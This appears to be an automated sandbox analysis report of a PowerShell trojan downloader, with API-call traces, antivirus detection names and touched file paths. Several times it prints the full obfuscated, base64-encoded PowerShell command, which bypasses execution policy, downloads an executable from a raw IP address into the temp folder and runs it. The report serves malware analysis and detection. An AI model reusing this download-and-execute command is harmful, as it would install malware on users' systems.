base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2648
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\SYstem32\winDowSPOweRsHELL\v1.0\POWErsHeLl.exE" "pOWeRSHELL.eXE -Ex bYpASs -NOp -W 1 -ec IABbAG4AZQBUAC4AcwBlAFIAVgBJAEMARQBwAE8AaQBuAHQAbQBBAE4AYQBnAEUAcgBdADoAOgBTAEUAQwB1AFIAaQB0AFkAUAByAG8AdABPAEMATwBMACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIAAgACAAIABbAE4ARQBUAC4AUwBlAEMAdQBSAGkAdABZAHAAcgBvAHQAbwBDAE8ATABUAHkAUABlAF0AOgA6AFQAbABzADEAMgAgACAAIAAgACAACQAgACAAIAAJAAkAIAAgAAkAIAA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBHAGUAdAAgACAAIAAoAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAyADQAMwAuADEANQAdICAAIAArACAAHSA3AC8ANgA1AC8AdwBpAG4AYQAdICAAIAArACAAHSBwAC4AZQAdICAAIAArACAAHSB4AB0gIAAgACsAIAAdIGUAHSAgACkAIAAgACAAIAAgACAAIAAgACAALQBPAFUAVABmAGkATABlACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgB2ADoAdABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0gIAA7ACAAIAAgAFMAVABBAHIAdAAgAAkAHSAkAEUAbgBWADoAVABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0g "
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYpASs -NOp -W 1 -ec IABbAG4AZQBUAC4AcwBlAFIAVgBJAEMARQBwAE8AaQBuAHQAbQBBAE4AYQBnAEUAcgBdADoAOgBTAEUAQwB1AFIAaQB0AFkAUAByAG8AdABPAEMATwBMACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIAAgACAAIABbAE4ARQBUAC4AUwBlAEMAdQBSAGkAdABZAHAAcgBvAHQAbwBDAE8ATABUAHkAUABlAF0AOgA6AFQAbABzADEAMgAgACAAIAAgACAACQAgACAAIAAJAAkAIAAgAAkAIAA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBHAGUAdAAgACAAIAAoAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAyADQAMwAuADEANQAdICAAIAArACAAHSA3AC8ANgA1AC8AdwBpAG4AYQAdICAAIAArACAAHSBwAC4AZQAdICAAIAArACAAHSB4AB0gIAAgACsAIAAdIGUAHSAgACkAIAAgACAAIAAgACAAIAAgACAALQBPAFUAVABmAGkATABlACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgB2ADoAdABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0gIAA7ACAAIAAgAFMAVABBAHIAdAAgAAkAHSAkAEUAbgBWADoAVABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0g
cmdline C:\Windows\System32\winDowSPOweRsHELL\v1.0\POWErsHeLl.exE "pOWeRSHELL.eXE -Ex bYpASs -NOp -W 1 -ec IABbAG4AZQBUAC4AcwBlAFIAVgBJAEMARQBwAE8AaQBuAHQAbQBBAE4AYQBnAEUAcgBdADoAOgBTAEUAQwB1AFIAaQB0AFkAUAByAG8AdABPAEMATwBMACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIAAgACAAIABbAE4ARQBUAC4AUwBlAEMAdQBSAGkAdABZAHAAcgBvAHQAbwBDAE8ATABUAHkAUABlAF0AOgA6AFQAbABzADEAMgAgACAAIAAgACAACQAgACAAIAAJAAkAIAAgAAkAIAA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBHAGUAdAAgACAAIAAoAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAyADQAMwAuADEANQAdICAAIAArACAAHSA3AC8ANgA1AC8AdwBpAG4AYQAdICAAIAArACAAHSBwAC4AZQAdICAAIAArACAAHSB4AB0gIAAgACsAIAAdIGUAHSAgACkAIAAgACAAIAAgACAAIAAgACAALQBPAFUAVABmAGkATABlACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgB2ADoAdABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0gIAA7ACAAIAAgAFMAVABBAHIAdAAgAAkAHSAkAEUAbgBWADoAVABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0g "
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\SYstem32\winDowSPOweRsHELL\v1.0\POWErsHeLl.exE
parameters: "pOWeRSHELL.eXE -Ex bYpASs -NOp -W 1 -ec IABbAG4AZQBUAC4AcwBlAFIAVgBJAEMARQBwAE8AaQBuAHQAbQBBAE4AYQBnAEUAcgBdADoAOgBTAEUAQwB1AFIAaQB0AFkAUAByAG8AdABPAEMATwBMACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIAAgACAAIABbAE4ARQBUAC4AUwBlAEMAdQBSAGkAdABZAHAAcgBvAHQAbwBDAE8ATABUAHkAUABlAF0AOgA6AFQAbABzADEAMgAgACAAIAAgACAACQAgACAAIAAJAAkAIAAgAAkAIAA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBHAGUAdAAgACAAIAAoAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAyADQAMwAuADEANQAdICAAIAArACAAHSA3AC8ANgA1AC8AdwBpAG4AYQAdICAAIAArACAAHSBwAC4AZQAdICAAIAArACAAHSB4AB0gIAAgACsAIAAdIGUAHSAgACkAIAAgACAAIAAgACAAIAAgACAALQBPAFUAVABmAGkATABlACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgB2ADoAdABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0gIAA7ACAAIAAgAFMAVABBAHIAdAAgAAkAHSAkAEUAbgBWADoAVABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0g "
filepath: C:\Windows\System32\winDowSPOweRsHELL\v1.0\POWErsHeLl.exE
1 1 0
Symantec ISB.Downloader!gen80
ESET-NOD32 PowerShell/TrojanDownloader.Agent.DDN
Kaspersky HEUR:Trojan-Downloader.Script.Generic
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
Rising Downloader.Agent!8.B23 (TOPIS:E0:zUzSSk6jIMT)
Fortinet VBS/Agent.FVB!tr
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYpASs -NOp -W 1 -ec IABbAG4AZQBUAC4AcwBlAFIAVgBJAEMARQBwAE8AaQBuAHQAbQBBAE4AYQBnAEUAcgBdADoAOgBTAEUAQwB1AFIAaQB0AFkAUAByAG8AdABPAEMATwBMACAAIAAgACAAIAAgACAAIAAgACAAIAA9ACAAIAAgACAAIABbAE4ARQBUAC4AUwBlAEMAdQBSAGkAdABZAHAAcgBvAHQAbwBDAE8ATABUAHkAUABlAF0AOgA6AFQAbABzADEAMgAgACAAIAAgACAACQAgACAAIAAJAAkAIAAgAAkAIAA7ACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBHAGUAdAAgACAAIAAoAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAyADQAMwAuADEANQAdICAAIAArACAAHSA3AC8ANgA1AC8AdwBpAG4AYQAdICAAIAArACAAHSBwAC4AZQAdICAAIAArACAAHSB4AB0gIAAgACsAIAAdIGUAHSAgACkAIAAgACAAIAAgACAAIAAgACAALQBPAFUAVABmAGkATABlACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgB2ADoAdABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0gIAA7ACAAIAAgAFMAVABBAHIAdAAgAAkAHSAkAEUAbgBWADoAVABFAG0AcABcAEgAQwBMAF8AQwBlAG4AdABvAGkAaQAuAGUAeABlAB0g
parent_process powershell.exe martian_process C:\Users\test22\AppData\Local\Temp\HCL_Centoii.exe
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe